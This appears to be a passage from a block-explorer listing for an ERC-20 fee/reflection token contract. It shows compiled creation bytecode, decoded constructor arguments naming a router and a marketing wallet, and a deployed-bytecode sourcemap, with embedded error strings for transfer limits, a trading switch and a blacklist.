ffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a59190613031565b816001815181106119b9576119b8612fed565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a2030601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d45565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611a84959493929190613157565b600060405180830381600087803b158015611a9e57600080fd5b505af1158015611ab2573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828585604051602001611b249291906131f9565b604051602081830303815290604052604051611b40919061326c565b60006040518083038185875af1925050503d8060008114611b7d576040519150601f19603f3d011682016040523d82523d6000602084013e611b82565b606091505b5050905080611bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbd906132cf565b60405180910390fd5b50505050565b80611bda57611bd9611c6e565b5b611be5848484611cab565b80611bf357611bf2611e76565b5b50505050565b6000806000611c06611e8a565b91509150611c1d8183611c2490919063ffffffff16565b9250505090565b6000611c6683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f25565b905092915050565b6000600c54148015611c8257506000600d54145b611ca957600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080611cbd87611f88565b955095509550955095509550611d1b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ff090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611db085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dfc81612098565b611e068483612155565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e63919061259f565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600654905060006012600a611ea4919061283d565b633b9aca00611eb39190612888565b9050611ee66012600a611ec6919061283d565b633b9aca00611ed59190612888565b600654611c2490919063ffffffff16565b821015611f18576006546012600a611efe919061283d565b633b9aca00611f0d9190612888565b935093505050611f21565b81819350935050505b9091565b60008083118290611f6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6391906123b8565b60405180910390fd5b5060008385611f7b919061331e565b9050809150509392505050565b6000806000806000806000806000611fa58a600c54600d5461218f565b9250925092506000611fb5611bf9565b90506000806000611fc88e878787612225565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061203283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061178a565b905092915050565b60008082846120499190612e32565b90508381101561208e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120859061339b565b60405180910390fd5b8091505092915050565b60006120a2611bf9565b905060006120b982846122ae90919063ffffffff16565b905061210d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61216a82600654611ff090919063ffffffff16565b6006819055506121858160075461203a90919063ffffffff16565b6007819055505050565b6000806000806121bb60646121ad888a6122ae90919063ffffffff16565b611c2490919063ffffffff16565b905060006121e560646121d7888b6122ae90919063ffffffff16565b611c2490919063ffffffff16565b9050600061220e82612200858c611ff090919063ffffffff16565b611ff090919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061223e85896122ae90919063ffffffff16565b9050600061225586896122ae90919063ffffffff16565b9050600061226c87896122ae90919063ffffffff16565b90506000612295826122878587611ff090919063ffffffff16565b611ff090919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083036122c05760009050612322565b600082846122ce9190612888565b90508284826122dd919061331e565b1461231d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123149061342d565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612362578082015181840152602081019050612347565b60008484015250505050565b6000601f19601f8301169050919050565b600061238a82612328565b6123948185612333565b93506123a4818560208601612344565b6123ad8161236e565b840191505092915050565b600060208201905081810360008301526123d2818461237f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061240a826123df565b9050919050565b61241a816123ff565b811461242557600080fd5b50565b60008135905061243781612411565b92915050565b6000819050919050565b6124508161243d565b811461245b57600080fd5b50565b60008135905061246d81612447565b92915050565b6000806040838503121561248a576124896123da565b5b600061249885828601612428565b92505060206124a98582860161245e565b9150509250929050565b60008115159050919050565b6124c8816124b3565b82525050565b60006020820190506124e360008301846124bf565b92915050565b6000602082840312156124ff576124fe6123da565b5b600061250d84828501612428565b91505092915050565b6000819050919050565b600061253b612536612531846123df565b612516565b6123df565b9050919050565b600061254d82612520565b9050919050565b600061255f82612542565b9050919050565b61256f81612554565b82525050565b600060208201905061258a6000830184612566565b92915050565b6125998161243d565b82525050565b60006020820190506125b46000830184612590565b92915050565b6000806000606084860312156125d3576125d26123da565b5b60006125e186828701612428565b93505060206125f286828701612428565b92505060406126038682870161245e565b9150509250925092565b600060ff82169050919050565b6126238161260d565b82525050565b600060208201905061263e600083018461261a565b92915050565b61264d816123ff565b82525050565b60006020820190506126686000830184612644565b92915050565b600060208284031215612684576126836123da565b5b60006126928482850161245e565b91505092915050565b600080604083850312156126b2576126b16123da565b5b60006126c085828601612428565b92505060206126d185828601612428565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156127615780860481111561273d5761273c6126db565b5b600185161561274c5780820291505b808102905061275a8561270a565b9450612721565b94509492505050565b60008261277a5760019050612836565b816127885760009050612836565b816001811461279e57600281146127a8576127d7565b6001915050612836565b60ff8411156127ba576127b96126db565b5b8360020a9150848211156127d1576127d06126db565b5b50612836565b5060208310610133831016604e8410600b841016171561280c5782820a905083811115612807576128066126db565b5b612836565b6128198484846001612717565b925090508184048111156128305761282f6126db565b5b81810290505b9392505050565b60006128488261243d565b91506128538361260d565b92506128807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461276a565b905092915050565b60006128938261243d565b915061289e8361243d565b92508282026128ac8161243d565b915082820484148315176128c3576128c26126db565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612900602083612333565b915061290b826128ca565b602082019050919050565b6000602082019050818103600083015261292f816128f3565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612992602683612333565b915061299d82612936565b604082019050919050565b600060208201905081810360008301526129c181612985565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612a24602483612333565b9150612a2f826129c8565b604082019050919050565b60006020820190508181036000830152612a5381612a17565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ab6602283612333565b9150612ac182612a5a565b604082019050919050565b60006020820190508181036000830152612ae581612aa9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612b48602583612333565b9150612b5382612aec565b604082019050919050565b60006020820190508181036000830152612b7781612b3b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612bda602383612333565b9150612be582612b7e565b604082019050919050565b60006020820190508181036000830152612c0981612bcd565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612c6c602983612333565b9150612c7782612c10565b604082019050919050565b60006020820190508181036000830152612c9b81612c5f565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000612cfe603f83612333565b9150612d0982612ca2565b604082019050919050565b60006020820190508181036000830152612d2d81612cf1565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000612d6a601c83612333565b9150612d7582612d34565b602082019050919050565b60006020820190508181036000830152612d9981612d5d565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000612dfc602383612333565b9150612e0782612da0565b604082019050919050565b60006020820190508181036000830152612e2b81612def565b9050919050565b6000612e3d8261243d565b9150612e488361243d565b9250828201905080821115612e6057612e5f6126db565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000612ec2602383612333565b9150612ecd82612e66565b604082019050919050565b60006020820190508181036000830152612ef181612eb5565b9050919050565b6000612f038261243d565b9150612f0e8361243d565b9250828203905081811115612f2657612f256126db565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612f88602a83612333565b9150612f9382612f2c565b604082019050919050565b60006020820190508181036000830152612fb781612f7b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061302b81612411565b92915050565b600060208284031215613047576130466123da565b5b60006130558482850161301c565b91505092915050565b6000819050919050565b600061308361307e6130798461305e565b612516565b61243d565b9050919050565b61309381613068565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6130ce816123ff565b82525050565b60006130e083836130c5565b60208301905092915050565b6000602082019050919050565b600061310482613099565b61310e81856130a4565b9350613119836130b5565b8060005b8381101561314a57815161313188826130d4565b975061313c836130ec565b92505060018101905061311d565b5085935050505092915050565b600060a08201905061316c6000830188612590565b613179602083018761308a565b818103604083015261318b81866130f9565b905061319a6060830185612644565b6131a76080830184612590565b9695505050505050565b60008160601b9050919050565b60006131c9826131b1565b9050919050565b60006131db826131be565b9050919050565b6131f36131ee826123ff565b6131d0565b82525050565b600061320582856131e2565b60148201915061321582846131e2565b6014820191508190509392505050565b600081519050919050565b600081905092915050565b600061324682613225565b6132508185613230565b9350613260818560208601612344565b80840191505092915050565b6000613278828461323b565b915081905092915050565b7f4645453a204554485f5452414e534645525f4641494c45440000000000000000600082015250565b60006132b9601883612333565b91506132c482613283565b602082019050919050565b600060208201905081810360008301526132e8816132ac565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133298261243d565b91506133348361243d565b925082613344576133436132ef565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613385601b83612333565b91506133908261334f565b602082019050919050565b600060208201905081810360008301526133b481613378565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613417602183612333565b9150613422826133bb565b604082019050919050565b600060208201905081810360008301526134468161340a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e7573116a259545868a6c8d2de37c721fde4a11476bcd42652814fbc0cc5058364736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000fec4e8a5a5a0dea54c623dd5941f5421827c3808

-----Decoded View---------------
Arg [0] : routerAddr (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : mWallet (address): 0xfEc4E8a5A5A0DEA54c623dD5941F5421827C3808

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000fec4e8a5a5a0dea54c623dd5941f5421827c3808


Deployed Bytecode Sourcemap

3768:12086:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6259:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7977:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4872:40;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5003:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6686:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6790:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5328:59;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6447:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5049:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6539:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;851:148;;;;;;;;;;;;;:::i;:::-;;13492:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5192:59;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;635:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5259:61;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6351:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7244:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12095:74;;;;;;;;;;;;;:::i;:::-;;7784:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13609:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1008:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6259:83;6296:13;6329:5;;;;;;;;;;;;;;;;;6322:12;;6259:83;:::o;7977:193::-;8079:4;8101:39;8110:12;:10;:12::i;:::-;8124:7;8133:6;8101:8;:39::i;:::-;8158:4;8151:11;;7977:193;;;;:::o;4872:40::-;;;;;;;;;;;;;;;;;;;;;;:::o;5003:39::-;;;;;;;;;;;;;:::o;6686:95::-;6739:7;4002:2;4345;:15;;;;:::i;:::-;4330:12;:30;;;;:::i;:::-;6759:14;;6686:95;:::o;6790:446::-;6922:4;6939:36;6949:6;6957:9;6968:6;6939:9;:36::i;:::-;6986:220;7009:6;7030:12;:10;:12::i;:::-;7057:138;7113:6;7057:138;;;;;;;;;;;;;;;;;:11;:19;7069:6;7057:19;;;;;;;;;;;;;;;:33;7077:12;:10;:12::i;:::-;7057:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;6986:8;:220::i;:::-;7224:4;7217:11;;6790:446;;;;;:::o;5328:59::-;;;;:::o;6447:83::-;6488:5;4002:2;6506:16;;6447:83;:::o;5049:28::-;;;;;;;;;;;;;:::o;6539:138::-;6605:7;6632:37;6652:7;:16;6660:7;6652:16;;;;;;;;;;;;;;;;6632:19;:37::i;:::-;6625:44;;6539:138;;;:::o;851:148::-;773:12;:10;:12::i;:::-;763:22;;:6;;;;;;;;;;:22;;;755:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;958:1:::1;921:40;;942:6;::::0;::::1;;;;;;;;921:40;;;;;;;;;;;;989:1;972:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;851:148::o:0;13492:108::-;773:12;:10;:12::i;:::-;763:22;;:6;;;;;;;;;;:22;;;755:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13581:11:::1;13566:12;:26;;;;13492:108:::0;:::o;5192:59::-;;;;:::o;635:79::-;673:7;700:6;;;;;;;;;;;693:13;;635:79;:::o;5259:61::-;;;;:::o;6351:87::-;6390:13;6423:7;;;;;;;;;;;;;;;;;6416:14;;6351:87;:::o;7244:199::-;7349:4;7371:42;7381:12;:10;:12::i;:::-;7395:9;7406:6;7371:9;:42::i;:::-;7431:4;7424:11;;7244:199;;;;:::o;12095:74::-;773:12;:10;:12::i;:::-;763:22;;:6;;;;;;;;;;:22;;;755:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12157:4:::1;12146:8;::::0;:15:::1;;;;;;;;;;;;;;;;;;12095:74::o:0;7784:184::-;7901:7;7933:11;:18;7945:5;7933:18;;;;;;;;;;;;;;;:27;7952:7;7933:27;;;;;;;;;;;;;;;;7926:34;;7784:184;;;;:::o;13609:115::-;773:12;:10;:12::i;:::-;763:22;;:6;;;;;;;;;;:22;;;755:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13703:13:::1;13686:14;:30;;;;13609:115:::0;:::o;1008:244::-;773:12;:10;:12::i;:::-;763:22;;:6;;;;;;;;;;:22;;;755:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1117:1:::1;1097:22;;:8;:22;;::::0;1089:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1207:8;1178:38;;1199:6;::::0;::::1;;;;;;;;1178:38;;;;;;;;;;;;1236:8;1227:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;1008:244:::0;:::o;148:98::-;201:7;228:10;221:17;;148:98;:::o;8552:369::-;8696:1;8679:19;;:5;:19;;;8671:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8777:1;8758:21;;:7;:21;;;8750:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8859:6;8829:11;:18;8841:5;8829:18;;;;;;;;;;;;;;;:27;8848:7;8829:27;;;;;;;;;;;;;;;:36;;;;8897:7;8881:32;;8890:5;8881:32;;;8906:6;8881:32;;;;;;:::i;:::-;;;;;;;;8552:369;;;:::o;8930:2271::-;9068:1;9052:18;;:4;:18;;;9044:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9145:1;9131:16;;:2;:16;;;9123:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9215:1;9206:6;:10;9198:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9288:7;:5;:7::i;:::-;9280:15;;:4;:15;;;;:32;;;;;9305:7;:5;:7::i;:::-;9299:13;;:2;:13;;;;9280:32;9276:1173;;;9334:8;;;;;;;;;;9329:141;;9379:7;:5;:7::i;:::-;9371:15;;:4;:15;;;9363:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;9329:141;9502:12;;9492:6;:22;;9484:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;9571:8;:14;9580:4;9571:14;;;;;;;;;;;;;;;;;;;;;;;;;9570:15;:32;;;;;9590:8;:12;9599:2;9590:12;;;;;;;;;;;;;;;;;;;;;;;;;9589:13;9570:32;9562:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;9680:13;;;;;;;;;;;9674:19;;:2;:19;;;9671:147;;9748:14;;9738:6;9722:13;9732:2;9722:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;9714:88;;;;;;;;;;;;:::i;:::-;;;;;;;;;9671:147;9834:28;9865:24;9883:4;9865:9;:24::i;:::-;9834:55;;9904:12;9943:19;;9919:20;:43;;9904:58;;10007:12;;9983:20;:36;9980:124;;10076:12;;10053:35;;9980:124;10125:7;:18;;;;;10137:6;;;;;;;;;;;10136:7;10125:18;:43;;;;;10155:13;;;;;;;;;;;10147:21;;:4;:21;;;;10125:43;:60;;;;;10172:13;;;;;;;;;;;10125:60;:89;;;;;10190:18;:24;10209:4;10190:24;;;;;;;;;;;;;;;;;;;;;;;;;10189:25;10125:89;:116;;;;;10219:18;:22;10238:2;10219:22;;;;;;;;;;;;;;;;;;;;;;;;;10218:23;10125:116;10121:195;;;10262:38;10279:20;10262:16;:38::i;:::-;10121:195;10330:26;10359:21;10330:50;;10395:42;10408:4;10414:2;10418:18;10395:12;:42::i;:::-;9314:1135;;;9276:1173;10462:12;10477:4;10462:19;;10527:18;:24;10546:4;10527:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;10555:18;:22;10574:2;10555:22;;;;;;;;;;;;;;;;;;;;;;;;;10527:50;10526:102;;;;10591:13;;;;;;;;;;;10583:21;;:4;:21;;;;:44;;;;;10614:13;;;;;;;;;;;10608:19;;:2;:19;;;;10583:44;10526:102;10522:617;;;10655:5;10645:15;;10522:617;;;10739:13;;;;;;;;;;;10731:21;;:4;:21;;;:55;;;;;10770:15;;;;;;;;;;;10756:30;;:2;:30;;;;10731:55;10728:172;;;10824:19;;10807:14;:36;;;;10872:12;;10862:7;:22;;;;10728:172;10960:13;;;;;;;;;;;10954:19;;:2;:19;;;:55;;;;;10993:15;;;;;;;;;;;10977:32;;:4;:32;;;;10954:55;10950:175;;;11047:20;;11030:14;:37;;;;11096:13;;11086:7;:23;;;;10950:175;10522:617;11152:41;11167:4;11173:2;11177:6;11185:7;11152:14;:41::i;:::-;9033:2168;8930:2271;;;:::o;2387:224::-;2507:7;2540:1;2535;:6;;2543:12;2527:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2567:9;2583:1;2579;:5;;;;:::i;:::-;2567:17;;2602:1;2595:8;;;2387:224;;;;;:::o;7452:323::-;7547:7;7605;;7594;:18;;7572:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;7693:19;7715:10;:8;:10::i;:::-;7693:32;;7743:24;7755:11;7743:7;:11;;:24;;;;:::i;:::-;7736:31;;;7452:323;;;:::o;11606:483::-;5491:4;5482:6;;:13;;;;;;;;;;;;;;;;;;11684:21:::1;11722:1;11708:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11684:40;;11753:4;11735;11740:1;11735:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;11779:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11769:4;11774:1;11769:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;11812:62;11829:4;11844:15;;;;;;;;;;;11862:11;11812:8;:62::i;:::-;11885:15;;;;;;;;;;;:66;;;11966:11;11992:1;12008:4;12035;12055:15;11885:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;11673:416;5527:5:::0;5518:6;;:14;;;;;;;;;;;;;;;;;;11606:483;:::o;11378:219::-;11462:12;11479:8;;;;;;;;;;;:13;;11499:6;11524:4;11530:2;11507:26;;;;;;;;;:::i;:::-;;;;;;;;;;;;;11479:55;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11461:73;;;11553:7;11545:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;11450:147;11378:219;;;:::o;12178:279::-;12334:7;12329:28;;12343:14;:12;:14::i;:::-;12329:28;12368:44;12386:6;12394:9;12405:6;12368:17;:44::i;:::-;12428:7;12423:26;;12437:12;:10;:12::i;:::-;12423:26;12178:279;;;;:::o;15421:164::-;15463:7;15484:15;15501;15520:19;:17;:19::i;:::-;15483:56;;;;15557:20;15569:7;15557;:11;;:20;;;;:::i;:::-;15550:27;;;;15421:164;:::o;2875:132::-;2933:7;2960:39;2964:1;2967;2960:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2953:46;;2875:132;;;;:::o;8179:236::-;8244:1;8226:14;;:19;:35;;;;;8260:1;8249:7;;:12;8226:35;8263:7;8222:48;8303:14;;8283:17;:34;;;;8346:7;;8328:15;:25;;;;8384:1;8367:14;:18;;;;8406:1;8396:7;:11;;;;8179:236;:::o;12466:610::-;12613:15;12643:23;12681:12;12708:23;12746:12;12773:13;12800:19;12811:7;12800:10;:19::i;:::-;12598:221;;;;;;;;;;;;12848:28;12868:7;12848;:15;12856:6;12848:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;12830:7;:15;12838:6;12830:15;;;;;;;;;;;;;;;:46;;;;12908:39;12931:15;12908:7;:18;12916:9;12908:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;12887:7;:18;12895:9;12887:18;;;;;;;;;;;;;;;:60;;;;12958:16;12968:5;12958:9;:16::i;:::-;12985:23;12997:4;13003;12985:11;:23::i;:::-;13041:9;13024:44;;13033:6;13024:44;;;13052:15;13024:44;;;;;;:::i;:::-;;;;;;;;12587:489;;;;;;12466:610;;;:::o;8424:119::-;8482:17;;8465:14;:34;;;;8520:15;;8510:7;:25;;;;8424:119::o;15594:257::-;15645:7;15654;15674:15;15692:7;;15674:25;;15710:15;4002:2;4345;:15;;;;:::i;:::-;4330:12;:30;;;;:::i;:::-;15710:25;;15760:20;4002:2;4345;:15;;;;:::i;:::-;4330:12;:30;;;;:::i;:::-;15760:7;;:11;;:20;;;;:::i;:::-;15750:7;:30;15746:61;;;15790:7;;4002:2;4345;:15;;;;:::i;:::-;4330:12;:30;;;;:::i;:::-;15782:25;;;;;;;;15746:61;15826:7;15835;15818:25;;;;;;15594:257;;;:::o;3016:223::-;3136:7;3168:1;3164;:5;3171:12;3156:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3195:9;3211:1;3207;:5;;;;:::i;:::-;3195:17;;3230:1;3223:8;;;3016:223;;;;;:::o;13771:620::-;13871:7;13893;13915;13937;13959;13981;14017:23;14042:12;14056:13;14086:45;14098:7;14107:14;;14123:7;;14086:11;:45::i;:::-;14016:115;;;;;;14142:19;14164:10;:8;:10::i;:::-;14142:32;;14186:15;14203:23;14228:12;14257:46;14269:7;14278:4;14284:5;14291:11;14257;:46::i;:::-;14185:118;;;;;;14322:7;14331:15;14348:4;14354:15;14371:4;14377:5;14314:69;;;;;;;;;;;;;;;;;;;13771:620;;;;;;;:::o;2242:136::-;2300:7;2327:43;2331:1;2334;2327:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2320:50;;2242:136;;;;:::o;2054:179::-;2112:7;2132:9;2148:1;2144;:5;;;;:::i;:::-;2132:17;;2173:1;2168;:6;;2160:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2224:1;2217:8;;;2054:179;;;;:::o;13085:211::-;13138:19;13160:10;:8;:10::i;:::-;13138:32;;13181:13;13197:22;13207:11;13197:5;:9;;:22;;;;:::i;:::-;13181:38;;13255:33;13282:5;13255:7;:22;13271:4;13255:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;13230:7;:22;13246:4;13230:22;;;;;;;;;;;;;;;:58;;;;13127:169;;13085:211;:::o;13305:147::-;13383:17;13395:4;13383:7;;:11;;:17;;;;:::i;:::-;13373:7;:27;;;;13424:20;13439:4;13424:10;;:14;;:20;;;;:::i;:::-;13411:10;:33;;;;13305:147;;:::o;14400:469::-;14569:7;14591;14613;14648:12;14663:30;14689:3;14663:21;14675:8;14663:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;14648:45;;14704:13;14720:28;14744:3;14720:19;14732:6;14720:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;14704:44;;14759:23;14785:28;14807:5;14785:17;14797:4;14785:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;14759:54;;14832:15;14849:4;14855:5;14824:37;;;;;;;;;14400:469;;;;;;;:::o;14878:534::-;15072:7;15094;15116;15151:15;15169:24;15181:11;15169:7;:11;;:24;;;;:::i;:::-;15151:42;;15204:12;15219:21;15228:11;15219:4;:8;;:21;;;;:::i;:::-;15204:36;;15251:13;15267:22;15277:11;15267:5;:9;;:22;;;;:::i;:::-;15251:38;;15300:23;15326:28;15348:5;15326:17;15338:4;15326:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;15300:54;;15373:7;15382:15;15399:4;15365:39;;;;;;;;;;14878:534;;;;;;;;:::o;2620:246::-;2678:7;2707:1;2702;:6;2698:47;;2732:1;2725:8;;;;2698:47;2755:9;2771:1;2767;:5;;;;:::i;:::-;2755:17;;2800:1;2795;2791;:5;;;;:::i;:::-;:10;2783:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2857:1;2850:8;;;2620:246;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;